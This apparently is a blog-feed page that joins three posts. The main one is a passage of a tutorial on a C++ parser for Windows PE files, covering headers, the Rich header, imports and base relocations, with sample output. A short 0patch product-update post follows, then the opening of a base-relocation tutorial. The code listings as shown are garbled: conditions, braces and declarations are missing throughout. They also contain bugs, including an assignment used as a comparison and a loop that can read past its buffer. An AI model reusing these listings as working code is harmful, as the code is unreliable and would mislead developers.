	else if (INITPARSE(PpeFile) == 32) {
		PE32FILE PeFile_1(argv[1], PpeFile);
	else if (INITPARSE(PpeFile) == 64) {
		PE64FILE PeFile_1(argv[1], PpeFile);

	return 0;


INITPARSE() is a function defined in PEFILE.cpp.
Its only job is to validate that the given file is a PE file, then determine whether the file is PE32 or PE32+.

It reads the DOS header of the file and checks the DOS MZ header, if not found it returns an error.

After validating the PE file, it sets the file position to (DOS_HEADER.e_lfanew + size of DWORD (PE signature) + size of the file header) which is the exact offset of the beginning of the Optional Header.
Then it reads a WORD, we know that the first WORD of the Optional Header is a magic value that indicates the file type, it then compares that word to IMAGE_NT_OPTIONAL_HDR32_MAGIC and IMAGE_NT_OPTIONAL_HDR64_MAGIC, and based on the comparison results it either returns 32 or 64 indicating PE32 or PE32+, or it returns an error.

int INITPARSE(FILE* PpeFile) {


	fseek(PpeFile, 0, SEEK_SET);
	fread(&TMP_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, PpeFile);

		printf("Error. Not a PE file.\n");
		return 1;

	fseek(PpeFile, (TMP_DOS_HEADER.e_lfanew + sizeof(DWORD) + sizeof(___IMAGE_FILE_HEADER)), SEEK_SET);
	fread(&PEFILE_TYPE, sizeof(WORD), 1, PpeFile);

		return 32;
		return 64;
	else {
		printf("Error while parsing IMAGE_OPTIONAL_HEADER.Magic. Unknown Type.\n");
		return 1;


Parsing DOS Header


Parsing out the DOS Header is nothing complicated, we just need to read from the beginning of the file an amount of bytes equal to the size of the DOS Header, then we can assign that data to the pre-defined class member PEFILE_DOS_HEADER.
From there we can access all of the struct members, however we’re only interested in e_magic and e_lfanew.

void PE64FILE::ParseDOSHeader() {
	fseek(Ppefile, 0, SEEK_SET);
	fread(&PEFILE_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, Ppefile);




This function prints e_magic and e_lfanew values.

void PE64FILE::PrintDOSHeaderInfo() {
	printf(" DOS HEADER:\n");
	printf(" -----------\n\n");

	printf(" Magic: 0x%X\n", PEFILE_DOS_HEADER_EMAGIC);
	printf(" File address of new exe header: 0x%X\n", PEFILE_DOS_HEADER_LFANEW);


Parsing Rich Header


To parse out the Rich Header we’ll need to go through multiple steps.

We don’t know anything about the Rich Header, we don’t know its size, we don’t know where it’s exactly located, we don’t even know if the file we’re processing contains a Rich Header in the first place.

First of all, we need to locate the Rich Header.
We don’t know the exact location, however we have everything we need to locate it.
We know that if a Rich Header exists, then it has to exist between the DOS Stub and the PE signature or the beginning of the NT Headers.
We also know that any Rich Header ends with a 32-bit value Rich followed by the XOR key.

One might rely on the fixed size of the DOS Header and the DOS Stub, however, the default DOS Stub message can be changed, so that size is not guaranteed to be fixed.
A better approach would be to read from the beginning of the file to the start of the NT Headers, then search through that buffer for the Rich sequence, if found then we’ve successfully located the end of the Rich Header, if not found then most likely the file doesn’t contain a Rich Header.

Once we’ve located the end of the Rich Header, we can read the XOR key, then go backwards starting from the Rich signature and keep XORing 4 bytes at a time until we reach the DanS signature which indicates the beginning of the Rich Header.

After obtaining the position and the size of the Rich Header, we can normally read and process the data.


This function starts by allocating a buffer on the heap, then it reads e_lfanew size of bytes from the beginning of the file and stores the data in the allocated buffer.

It then goes through a loop where it does a linear search byte by byte. In each iteration it compares the current byte and the byte the follows to 0x52 (R) and 0x69 (i).
When the sequence is found, it stores the index in a variable then the loop breaks.

	char* dataPtr = new char[PEFILE_DOS_HEADER_LFANEW];
	fseek(Ppefile, 0, SEEK_SET);
	fread(dataPtr, PEFILE_DOS_HEADER_LFANEW, 1, Ppefile);

	int index_ = 0;

	for (int i = 0; i <= PEFILE_DOS_HEADER_LFANEW; i++) {
		if (dataPtr[i] == 0x52 && dataPtr[i + 1] == 0x69) {
			index_ = i;

	if (index_ == 0) {
		printf("Error while parsing Rich Header.");

After that it reads the XOR key, then goes into the decryption loop where in each iteration it increments RichHeaderSize by 4 until it reaches the DanS sequence.

	char key[4];
	memcpy(key, dataPtr + (index_ + 4), 4);

	int indexpointer = index_ - 4;
	int RichHeaderSize = 0;

	while (true) {
		char tmpchar[4];
		memcpy(tmpchar, dataPtr + indexpointer, 4);

		for (int i = 0; i < 4; i++) {
			tmpchar[i] = tmpchar[i] ^ key[i];

		indexpointer -= 4;
		RichHeaderSize += 4;

		if (tmpchar[1] = 0x61 && tmpchar[0] == 0x44) {

After obtaining the size and the position, it allocates a new buffer for the Rich Header, reads and decrypts the Rich Header, updates PEFILE_RICH_HEADER_INFO with the appropriate data pointer, size and number of entries, then finally it deallocates the buffer it was using for processing.

	char* RichHeaderPtr = new char[RichHeaderSize];
	memcpy(RichHeaderPtr, dataPtr + (index_ - RichHeaderSize), RichHeaderSize);

	for (int i = 0; i < RichHeaderSize; i += 4) {

		for (int x = 0; x < 4; x++) {
			RichHeaderPtr[i + x] = RichHeaderPtr[i + x] ^ key[x];


	PEFILE_RICH_HEADER_INFO.size = RichHeaderSize;
	PEFILE_RICH_HEADER_INFO.ptrToBuffer = RichHeaderPtr;
	PEFILE_RICH_HEADER_INFO.entries = (RichHeaderSize - 16) / 8;

	delete[] dataPtr;

The rest of the function reads each entry of the Rich Header and updates PEFILE_RICH_HEADER.


	for (int i = 16; i < RichHeaderSize; i += 8) {
		WORD PRODID = (uint16_t)((unsigned char)RichHeaderPtr[i + 3] << 8) | (unsigned char)RichHeaderPtr[i + 2];
		WORD BUILDID = (uint16_t)((unsigned char)RichHeaderPtr[i + 1] << 8) | (unsigned char)RichHeaderPtr[i];
		DWORD USECOUNT = (uint32_t)((unsigned char)RichHeaderPtr[i + 7] << 24) | (unsigned char)RichHeaderPtr[i + 6] << 16 | (unsigned char)RichHeaderPtr[i + 5] << 8 | (unsigned char)RichHeaderPtr[i + 4];
		PEFILE_RICH_HEADER.entries[(i / 8) - 2] = {

		if (i + 8 >= RichHeaderSize) {
			PEFILE_RICH_HEADER.entries[(i / 8) - 1] = { 0x0000, 0x0000, 0x00000000 };


	delete[] PEFILE_RICH_HEADER_INFO.ptrToBuffer;

Here’s the full function:

void PE64FILE::ParseRichHeader() {
	char* dataPtr = new char[PEFILE_DOS_HEADER_LFANEW];
	fseek(Ppefile, 0, SEEK_SET);
	fread(dataPtr, PEFILE_DOS_HEADER_LFANEW, 1, Ppefile);

	int index_ = 0;

	for (int i = 0; i <= PEFILE_DOS_HEADER_LFANEW; i++) {
		if (dataPtr[i] == 0x52 && dataPtr[i + 1] == 0x69) {
			index_ = i;

	if (index_ == 0) {
		printf("Error while parsing Rich Header.");

	char key[4];
	memcpy(key, dataPtr + (index_ + 4), 4);

	int indexpointer = index_ - 4;
	int RichHeaderSize = 0;

	while (true) {
		char tmpchar[4];
		memcpy(tmpchar, dataPtr + indexpointer, 4);

		for (int i = 0; i < 4; i++) {
			tmpchar[i] = tmpchar[i] ^ key[i];

		indexpointer -= 4;
		RichHeaderSize += 4;

		if (tmpchar[1] = 0x61 && tmpchar[0] == 0x44) {

	char* RichHeaderPtr = new char[RichHeaderSize];
	memcpy(RichHeaderPtr, dataPtr + (index_ - RichHeaderSize), RichHeaderSize);

	for (int i = 0; i < RichHeaderSize; i += 4) {

		for (int x = 0; x < 4; x++) {
			RichHeaderPtr[i + x] = RichHeaderPtr[i + x] ^ key[x];


	PEFILE_RICH_HEADER_INFO.size = RichHeaderSize;
	PEFILE_RICH_HEADER_INFO.ptrToBuffer = RichHeaderPtr;
	PEFILE_RICH_HEADER_INFO.entries = (RichHeaderSize - 16) / 8;

	delete[] dataPtr;


	for (int i = 16; i < RichHeaderSize; i += 8) {
		WORD PRODID = (uint16_t)((unsigned char)RichHeaderPtr[i + 3] << 8) | (unsigned char)RichHeaderPtr[i + 2];
		WORD BUILDID = (uint16_t)((unsigned char)RichHeaderPtr[i + 1] << 8) | (unsigned char)RichHeaderPtr[i];
		DWORD USECOUNT = (uint32_t)((unsigned char)RichHeaderPtr[i + 7] << 24) | (unsigned char)RichHeaderPtr[i + 6] << 16 | (unsigned char)RichHeaderPtr[i + 5] << 8 | (unsigned char)RichHeaderPtr[i + 4];
		PEFILE_RICH_HEADER.entries[(i / 8) - 2] = {

		if (i + 8 >= RichHeaderSize) {
			PEFILE_RICH_HEADER.entries[(i / 8) - 1] = { 0x0000, 0x0000, 0x00000000 };


	delete[] PEFILE_RICH_HEADER_INFO.ptrToBuffer;



This function iterates over each entry in PEFILE_RICH_HEADER and prints its value.

void PE64FILE::PrintRichHeaderInfo() {
	printf(" RICH HEADER:\n");
	printf(" ------------\n\n");

	for (int i = 0; i < PEFILE_RICH_HEADER_INFO.entries; i++) {
		printf(" 0x%X 0x%X 0x%X: %d.%d.%d\n",


Parsing NT Headers


Similar to the DOS Header, all we need to do is to read from e_lfanew an amount of bytes equal to the size of IMAGE_NT_HEADERS.

After that we can parse out the contents of the File Header and the Optional Header.

The Optional Header contains an array of IMAGE_DATA_DIRECTORY structures which we care about.
To parse out this information, we can use the IMAGE_DIRECTORY_[...] constants defined in winnt.h as array indexes to access the corresponding IMAGE_DATA_DIRECTORY structure of each Data Directory.

void PE64FILE::ParseNTHeaders() {
	fseek(Ppefile, PEFILE_DOS_HEADER.e_lfanew, SEEK_SET);
	fread(&PEFILE_NT_HEADERS, sizeof(PEFILE_NT_HEADERS), 1, Ppefile);







This function prints the data obtained from the File Header and the Optional Header, and for each Data Directory it prints its RVA and size.

void PE64FILE::PrintNTHeadersInfo() {
	printf(" NT HEADERS:\n");
	printf(" -----------\n\n");

	printf(" PE Signature: 0x%X\n", PEFILE_NT_HEADERS_SIGNATURE);

	printf("\n File Header:\n\n");
	printf("   Machine: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_MACHINE);
	printf("   Number of sections: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS);
	printf("   Size of optional header: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_SIZEOF_OPTIONAL_HEADER);

	printf("\n Optional Header:\n\n");
	printf("   Size of code section: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_CODE);
	printf("   Size of initialized data: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_INITIALIZED_DATA);
	printf("   Size of uninitialized data: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_UNINITIALIZED_DATA);
	printf("   Address of entry point: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_ADDRESSOF_ENTRYPOINT);
	printf("   RVA of start of code section: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_BASEOF_CODE);
	printf("   Desired image base: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_IMAGEBASE);
	printf("   Size of image: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_IMAGE);
	printf("   Size of headers: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_HEADERS);

	printf("\n Data Directories:\n");
	printf("\n   * Export Directory:\n");
	printf("       RVA: 0x%X\n", PEFILE_EXPORT_DIRECTORY.VirtualAddress);
	printf("       Size: 0x%X\n", PEFILE_EXPORT_DIRECTORY.Size);
	printf("\n   * COM Runtime Descriptor:\n");
	printf("       RVA: 0x%X\n", PEFILE_COM_DESCRIPTOR_DIRECTORY.VirtualAddress);
	printf("       Size: 0x%X\n", PEFILE_COM_DESCRIPTOR_DIRECTORY.Size);


Parsing Section Headers


This function starts by assigning the PEFILE_SECTION_HEADERS class member to a pointer to an IMAGE_SECTION_HEADER array of the count of PEFILE_NT_HEADERS_FILE_HEADER_NUMBEROF_SECTIONS.

Then it goes into a loop of PEFILE_NT_HEADERS_FILE_HEADER_NUMBEROF_SECTIONS iterations where in each iteration it changes the file offset to (e_lfanew + size of NT Headers + loop counter multiplied by the size of a section header) to reach the beginning of the next Section Header, then it reads the new Section Header and assigns it to the next element of PEFILE_SECTION_HEADERS.

void PE64FILE::ParseSectionHeaders() {
		int offset = (PEFILE_DOS_HEADER.e_lfanew + sizeof(PEFILE_NT_HEADERS)) + (i * ___IMAGE_SIZEOF_SECTION_HEADER);
		fseek(Ppefile, offset, SEEK_SET);



This function loops over the Section Headers array (filled by ParseSectionHeaders()), and it prints information about each section.

void PE64FILE::PrintSectionHeadersInfo() {
	printf(" SECTION HEADERS:\n");
	printf(" ----------------\n\n");

		printf("   * %.8s:\n", PEFILE_SECTION_HEADERS[i].Name);
		printf("        VirtualAddress: 0x%X\n", PEFILE_SECTION_HEADERS[i].VirtualAddress);
		printf("        VirtualSize: 0x%X\n", PEFILE_SECTION_HEADERS[i].Misc.VirtualSize);
		printf("        PointerToRawData: 0x%X\n", PEFILE_SECTION_HEADERS[i].PointerToRawData);
		printf("        SizeOfRawData: 0x%X\n", PEFILE_SECTION_HEADERS[i].SizeOfRawData);
		printf("        Characteristics: 0x%X\n\n", PEFILE_SECTION_HEADERS[i].Characteristics);


Parsing Imports


To parse out the Import Directory Table we need to determine the count of IMAGE_IMPORT_DESCRIPTORs first.

This function starts by resolving the file offset of the Import Directory, then it goes into a loop where in each loop it keeps reading the next import descriptor.
In each iteration it checks if the descriptor has zeroed out values, if that is the case then we’ve reached the end of the Import Directory, so it breaks.
Otherwise it increments _import_directory_count and the loop continues.

After finding the size of the Import Directory, the function assigns the PEFILE_IMPORT_TABLE class member to a pointer to an IMAGE_IMPORT_DESCRIPTOR array of the count of _import_directory_count then goes into another loop similar to the one we’ve seen in ParseSectionHeaders() to parse out the import descriptors.

void PE64FILE::ParseImportDirectory() {
	DWORD _import_directory_address = resolve(PEFILE_IMPORT_DIRECTORY.VirtualAddress, locate(PEFILE_IMPORT_DIRECTORY.VirtualAddress));
	_import_directory_count = 0;

	while (true) {
		int offset = (_import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&tmp, sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile);

		if (tmp.Name == 0x00000000 && tmp.FirstThunk == 0x00000000) {
			_import_directory_count -= 1;
			_import_directory_size = _import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR);


	PEFILE_IMPORT_TABLE = new ___IMAGE_IMPORT_DESCRIPTOR[_import_directory_count];

	for (int i = 0; i < _import_directory_count; i++) {
		int offset = (i * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_IMPORT_TABLE[i], sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile);



After obtaining the import descriptors, further parsing is needed to retrieve information about the imported functions.
This is done by the PrintImportTableInfo() function.

This function iterates over the import descriptors, and for each descriptor it resolves the file offset of the DLL name, retrieves the DLL name then prints it, it also prints the ILT RVA, the IAT RVA and whether the import is bound or not.

After that it resolves the file offset of the ILT then it parses out each ILT entry.
If the Ordinal/Name flag is set it prints the function ordinal, otherwise it prints the function name, the hint RVA and the hint.

If the ILT entry is zeroed out, the loop breaks and the next import descriptor parsing iteration starts.

We’ve discussed the details about this in the PE imports post.

void PE64FILE::PrintImportTableInfo() {
	printf(" IMPORT TABLE:\n");
	printf(" ----------------\n\n");

	for (int i = 0; i < _import_directory_count; i++) {
		DWORD NameAddr = resolve(PEFILE_IMPORT_TABLE[i].Name, locate(PEFILE_IMPORT_TABLE[i].Name));
		int NameSize = 0;

		while (true) {
			char tmp;
			fseek(Ppefile, (NameAddr + NameSize), SEEK_SET);
			fread(&tmp, sizeof(char), 1, Ppefile);

			if (tmp == 0x00) {


		char* Name = new char[NameSize + 2];
		fseek(Ppefile, NameAddr, SEEK_SET);
		fread(Name, (NameSize * sizeof(char)) + 1, 1, Ppefile);
		printf("   * %s:\n", Name);
		delete[] Name;

		printf("       ILT RVA: 0x%X\n", PEFILE_IMPORT_TABLE[i].DUMMYUNIONNAME.OriginalFirstThunk);
		printf("       IAT RVA: 0x%X\n", PEFILE_IMPORT_TABLE[i].FirstThunk);

		if (PEFILE_IMPORT_TABLE[i].TimeDateStamp == 0) {
			printf("       Bound: FALSE\n");
		else if (PEFILE_IMPORT_TABLE[i].TimeDateStamp == -1) {
			printf("       Bound: TRUE\n");


		int entrycounter = 0;

		while (true) {

			ILT_ENTRY_64 entry;

			fseek(Ppefile, (ILTAddr + (entrycounter * sizeof(QWORD))), SEEK_SET);
			fread(&entry, sizeof(ILT_ENTRY_64), 1, Ppefile);

			BYTE flag = entry.ORDINAL_NAME_FLAG;
			DWORD HintRVA = 0x0;
			WORD ordinal = 0x0;

			if (flag == 0x0) {
				HintRVA = entry.FIELD_2.HINT_NAME_TABE;
			else if (flag == 0x01) {
				ordinal = entry.FIELD_2.ORDINAL;

			if (flag == 0x0 && HintRVA == 0x0 && ordinal == 0x0) {

			printf("\n       Entry:\n");

			if (flag == 0x0) {

				DWORD HintAddr = resolve(HintRVA, locate(HintRVA));
				fseek(Ppefile, HintAddr, SEEK_SET);
				fread(&hint, sizeof(___IMAGE_IMPORT_BY_NAME), 1, Ppefile);
				printf("         Name: %s\n", hint.Name);
				printf("         Hint RVA: 0x%X\n", HintRVA);
				printf("         Hint: 0x%X\n", hint.Hint);
			else if (flag == 1) {
				printf("         Ordinal: 0x%X\n", ordinal);


		printf("\n   ----------------------\n\n");



Parsing Base Relocations


This function follows the same process we’ve seen in ParseImportDirectory().
It resolves the file offset of the Base Relocation Directory, then it loops over each relocation block until it reaches a zeroed out block. Then it parses out these blocks and saves each IMAGE_BASE_RELOCATION structure in PEFILE_BASERELOC_TABLE.
One thing to note here that is different from what we’ve seen in ParseImportDirectory() is that in addition to keeping a block counter we also keep a size counter that’s incremented by adding the value of SizeOfBlock of each block in each iteration.
We do this because relocation blocks don’t have a fixed size, and in order to correctly calculate the offset of the next relocation block we need the total size of the previous blocks.

void PE64FILE::ParseBaseReloc() {
	DWORD _basereloc_directory_address = resolve(PEFILE_BASERELOC_DIRECTORY.VirtualAddress, locate(PEFILE_BASERELOC_DIRECTORY.VirtualAddress));
	_basreloc_directory_count = 0;
	int _basereloc_size_counter = 0;

	while (true) {

		int offset = (_basereloc_size_counter + _basereloc_directory_address);

		fseek(Ppefile, offset, SEEK_SET);
		fread(&tmp, sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile);

		if (tmp.VirtualAddress == 0x00000000 &&
			tmp.SizeOfBlock == 0x00000000) {

		_basereloc_size_counter += tmp.SizeOfBlock;

	PEFILE_BASERELOC_TABLE = new ___IMAGE_BASE_RELOCATION[_basreloc_directory_count];

	_basereloc_size_counter = 0;

	for (int i = 0; i < _basreloc_directory_count; i++) {
		int offset = _basereloc_directory_address + _basereloc_size_counter;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_BASERELOC_TABLE[i], sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile);
		_basereloc_size_counter += PEFILE_BASERELOC_TABLE[i].SizeOfBlock;



This function iterates over the base relocation blocks, and for each block it resolves the file offset of the block, then it prints the block RVA, size and number of entries (calculated by subtracting the size of IMAGE_BASE_RELOCATION from the block size then dividing that by the size of a WORD).
After that it iterates over the relocation entries and prints the relocation value, and from that value it separates the type and the offset and prints each one of them.

We’ve discussed the details about this in the PE base relocations post.

void PE64FILE::PrintBaseRelocationsInfo() {
	printf(" -----------------------\n");

	int szCounter = sizeof(___IMAGE_BASE_RELOCATION);

	for (int i = 0; i < _basreloc_directory_count; i++) {

		int ENTRIES;


		printf("\n   Block 0x%X: \n", i);
		printf("     Page RVA: 0x%X\n", PAGERVA);
		printf("     Block size: 0x%X\n", BLOCKSIZE);
		printf("     Number of entries: 0x%X\n", ENTRIES);
		printf("\n     Entries:\n");

		for (int i = 0; i < ENTRIES; i++) {


			int offset = (BASE_RELOC_ADDR + szCounter + (i * sizeof(WORD)));

			fseek(Ppefile, offset, SEEK_SET);
			fread(&entry, sizeof(WORD), 1, Ppefile);

			printf("\n       * Value: 0x%X\n", entry);
			printf("         Relocation Type: 0x%X\n", entry.TYPE);
			printf("         Offset: 0x%X\n", entry.OFFSET);

		printf("\n   ----------------------\n\n");
		szCounter += BLOCKSIZE;



Here’s the full output after running the parser on a file:

Desktop>.\PE-Parser.exe .\SimpleApp64.exe

 FILE: .\SimpleApp64.exe
 TYPE: 0x20B (PE32+)



 Magic: 0x5A4D
 File address of new exe header: 0x100



 0x7809 0x93 0xA: 30729.147.10
 0x6FCB 0x101 0x2: 28619.257.2
 0x6FCB 0x105 0x11: 28619.261.17
 0x6FCB 0x104 0xA: 28619.260.10
 0x6FCB 0x103 0x3: 28619.259.3
 0x685B 0x101 0x5: 26715.257.5
 0x0 0x1 0x30: 0.1.48
 0x7086 0x109 0x1: 28806.265.1
 0x7086 0xFF 0x1: 28806.255.1
 0x7086 0x102 0x1: 28806.258.1



 PE Signature: 0x4550

 File Header:

   Machine: 0x8664
   Number of sections: 0x6
   Size of optional header: 0xF0

 Optional Header:

   Magic: 0x20B
   Size of code section: 0xE00
   Size of initialized data: 0x1E00
   Size of uninitialized data: 0x0
   Address of entry point: 0x12C4
   RVA of start of code section: 0x1000
   Desired image base: 0x40000000
   Section alignment: 0x1000
   File alignment: 0x200
   Size of image: 0x7000
   Size of headers: 0x400

 Data Directories:

   * Export Directory:
       RVA: 0x0
       Size: 0x0

   * Import Directory:
       RVA: 0x27AC
       Size: 0xB4

   * Resource Directory:
       RVA: 0x5000
       Size: 0x1E0

   * Exception Directory:
       RVA: 0x4000
       Size: 0x168

   * Security Directory:
       RVA: 0x0
       Size: 0x0

   * Base Relocation Table:
       RVA: 0x6000
       Size: 0x28

   * Debug Directory:
       RVA: 0x2248
       Size: 0x70

   * Architecture Specific Data:
       RVA: 0x0
       Size: 0x0

   * RVA of GlobalPtr:
       RVA: 0x0
       Size: 0x0

   * TLS Directory:
       RVA: 0x0
       Size: 0x0

   * Load Configuration Directory:
       RVA: 0x22C0
       Size: 0x130

   * Bound Import Directory:
       RVA: 0x0
       Size: 0x0

   * Import Address Table:
       RVA: 0x2000
       Size: 0x198

   * Delay Load Import Descriptors:
       RVA: 0x0
       Size: 0x0

   * COM Runtime Descriptor:
       RVA: 0x0
       Size: 0x0



   * .text:
        VirtualAddress: 0x1000
        VirtualSize: 0xD2C
        PointerToRawData: 0x400
        SizeOfRawData: 0xE00
        Characteristics: 0x60000020

   * .rdata:
        VirtualAddress: 0x2000
        VirtualSize: 0xE3C
        PointerToRawData: 0x1200
        SizeOfRawData: 0x1000
        Characteristics: 0x40000040

   * .data:
        VirtualAddress: 0x3000
        VirtualSize: 0x638
        PointerToRawData: 0x2200
        SizeOfRawData: 0x200
        Characteristics: 0xC0000040

   * .pdata:
        VirtualAddress: 0x4000
        VirtualSize: 0x168
        PointerToRawData: 0x2400
        SizeOfRawData: 0x200
        Characteristics: 0x40000040

   * .rsrc:
        VirtualAddress: 0x5000
        VirtualSize: 0x1E0
        PointerToRawData: 0x2600
        SizeOfRawData: 0x200
        Characteristics: 0x40000040

   * .reloc:
        VirtualAddress: 0x6000
        VirtualSize: 0x28
        PointerToRawData: 0x2800
        SizeOfRawData: 0x200
        Characteristics: 0x42000040



   * USER32.dll:
       ILT RVA: 0x28E0
       IAT RVA: 0x2080
       Bound: FALSE

         Name: MessageBoxA
         Hint RVA: 0x29F8
         Hint: 0x283


   * VCRUNTIME140.dll:
       ILT RVA: 0x28F0
       IAT RVA: 0x2090
       Bound: FALSE

         Name: memset
         Hint RVA: 0x2A5E
         Hint: 0x3E

         Name: __current_exception_context
         Hint RVA: 0x2A40
         Hint: 0x1C

         Name: __current_exception
         Hint RVA: 0x2A2A
         Hint: 0x1B

         Name: __C_specific_handler
         Hint RVA: 0x2A12
         Hint: 0x8


   * api-ms-win-crt-runtime-l1-1-0.dll:
       ILT RVA: 0x2948
       IAT RVA: 0x20E8
       Bound: FALSE

         Name: _crt_atexit
         Hint RVA: 0x2C12
         Hint: 0x1E

         Name: terminate
         Hint RVA: 0x2C20
         Hint: 0x67

         Name: _exit
         Hint RVA: 0x2B30
         Hint: 0x23

         Name: _register_thread_local_exe_atexit_callback
         Hint RVA: 0x2B76
         Hint: 0x3D

         Name: _c_exit
         Hint RVA: 0x2B6C
         Hint: 0x15

         Name: exit
         Hint RVA: 0x2B28
         Hint: 0x55

         Name: _initterm_e
         Hint RVA: 0x2B1A
         Hint: 0x37

         Name: _initterm
         Hint RVA: 0x2B0E
         Hint: 0x36

         Name: _get_initial_narrow_environment
         Hint RVA: 0x2AEC
         Hint: 0x28

         Name: _initialize_narrow_environment
         Hint RVA: 0x2ACA
         Hint: 0x33

         Name: _configure_narrow_argv
         Hint RVA: 0x2AB0
         Hint: 0x18

         Name: _initialize_onexit_table
         Hint RVA: 0x2BDA
         Hint: 0x34

         Name: _set_app_type
         Hint RVA: 0x2A8C
         Hint: 0x42

         Name: _seh_filter_exe
         Hint RVA: 0x2A7A
         Hint: 0x40

         Name: _cexit
         Hint RVA: 0x2B62
         Hint: 0x16

         Name: __p___argv
         Hint RVA: 0x2B54
         Hint: 0x5

         Name: __p___argc
         Hint RVA: 0x2B46
         Hint: 0x4

         Name: _register_onexit_function
         Hint RVA: 0x2BF6
         Hint: 0x3C


   * api-ms-win-crt-math-l1-1-0.dll:
       ILT RVA: 0x2938
       IAT RVA: 0x20D8
       Bound: FALSE

         Name: __setusermatherr
         Hint RVA: 0x2A9C
         Hint: 0x9


   * api-ms-win-crt-stdio-l1-1-0.dll:
       ILT RVA: 0x29E0
       IAT RVA: 0x2180
       Bound: FALSE

         Name: __p__commode
         Hint RVA: 0x2BCA
         Hint: 0x1

         Name: _set_fmode
         Hint RVA: 0x2B38
         Hint: 0x54


   * api-ms-win-crt-locale-l1-1-0.dll:
       ILT RVA: 0x2928
       IAT RVA: 0x20C8
       Bound: FALSE

         Name: _configthreadlocale
         Hint RVA: 0x2BA4
         Hint: 0x8


   * api-ms-win-crt-heap-l1-1-0.dll:
       ILT RVA: 0x2918
       IAT RVA: 0x20B8
       Bound: FALSE

         Name: _set_new_mode
         Hint RVA: 0x2BBA
         Hint: 0x16




   Block 0x0:
     Page RVA: 0x2000
     Block size: 0x28
     Number of entries: 0x10


       * Value: 0xA198
         Relocation Type: 0xA
         Offset: 0x198

       * Value: 0xA1A0
         Relocation Type: 0xA
         Offset: 0x1A0

       * Value: 0xA1A8
         Relocation Type: 0xA
         Offset: 0x1A8

       * Value: 0xA1B0
         Relocation Type: 0xA
         Offset: 0x1B0

       * Value: 0xA1B8
         Relocation Type: 0xA
         Offset: 0x1B8

       * Value: 0xA1C8
         Relocation Type: 0xA
         Offset: 0x1C8

       * Value: 0xA1E0
         Relocation Type: 0xA
         Offset: 0x1E0

       * Value: 0xA1E8
         Relocation Type: 0xA
         Offset: 0x1E8

       * Value: 0xA220
         Relocation Type: 0xA
         Offset: 0x220

       * Value: 0xA228
         Relocation Type: 0xA
         Offset: 0x228

       * Value: 0xA318
         Relocation Type: 0xA
         Offset: 0x318

       * Value: 0xA330
         Relocation Type: 0xA
         Offset: 0x330

       * Value: 0xA338
         Relocation Type: 0xA
         Offset: 0x338

       * Value: 0xA3D8
         Relocation Type: 0xA
         Offset: 0x3D8

       * Value: 0xA3E0
         Relocation Type: 0xA
         Offset: 0x3E0

       * Value: 0xA3E8
         Relocation Type: 0xA
         Offset: 0x3E8



I hope that seeing actual code has given you a better understanding of what we’ve discussed throughout the previous posts.
I believe that there are better ways for implementation than the ones I have presented, I’m in no way a c++ programmer and I know that there’s always room for improvement, so feel free to reach out to me, any feedback would be much appreciated.

Thanks for reading.

✇ 0patch Blog

A New 0patch Experience

By: Mitja Kolsek

Last week we updated 0patch Server and 0patch Central, which brought several new features and capabilities. Let's take a quick look at them:

  • Subscription management: Users can now manage their subscriptions in 0patch Central, including turning auto-renewal on or off, changing the number of licenses in a subscription, switching between annual and monthly payments, and canceling a subscription. Managed service providers can use the "Renew of one term" feature for renewing a license once their customer has committed to another term.

  • Monthly licenses: Before, 0patch was only available as an annual subscription service. From now on, we also support monthly subscriptions, allowing customers to up-scale and down-scale their license count on a monthly basis according to their needs. (A minimum of 20 licenses is required for a monthly subscription.)

  • Changing billing and payment information: Users can change their billing and payment information in 0patch Central now.

  • Registering agents directly to a group: Enterprise users will like this one; before, all deployed agents appeared in the root All Computers group and had to be manually moved to appropriate groups. Now, each group has its own key which can be used for auto-registration via MSI command-line arguments, allowing admins to bulk-deploy 0patch agent to all computers in some existing group in their central management system, and registered these agents directly to an appropriate group in 0patch Central.

  • Computer comments: Each computer now has a comment field that can be used to provide additional details.

  • License comments: Each license now has a comment field that can be used to provide additional details, a feature most requested from managed service providers and resellers.

  • No more duplicate agents: Before, a re-registration of 0patch Agent on the same computer resulted in a duplicate computer in the Computers list. This is now resolved.


We hope you'll like the new 0patch Central and 0patch user experience. If you run into any issues, please report them to [email protected].

Your 0patch Team



✇ 0xRick

A dive into the PE file format - PE file structure - Part 6: PE Base Relocations

By: 0xRick

A dive into the PE file format - PE file structure - Part 6: PE Base Relocations


In this post we’re going to talk about PE base relocations. We’re going to discuss what relocations are, then we’ll take a look at the relocation table.


When a program is compiled, the compiler assumes that the executable is going to be loaded at a certain base address, that address is saved in IMAGE_OPTIONAL_HEADER.ImageBase, some addresses get calculated then hardcoded within the executable based on the base address.
However for a variety of reasons, it’s not very likely that the executable is going to get its desired base address, it will get loaded in another base address and that will make all of the hardcoded addresses invalid.
A list of all hardcoded values that will need fixing if the image is loaded at a different base address is saved in a special table called the Relocation Table (a Data Directory within the .reloc section). The process of relocating (done by the loader) is what fixes these values.

Let’s take an example, the following code defines an int variable and a pointer to that variable:

int test = 2;
int* testPtr = &test;

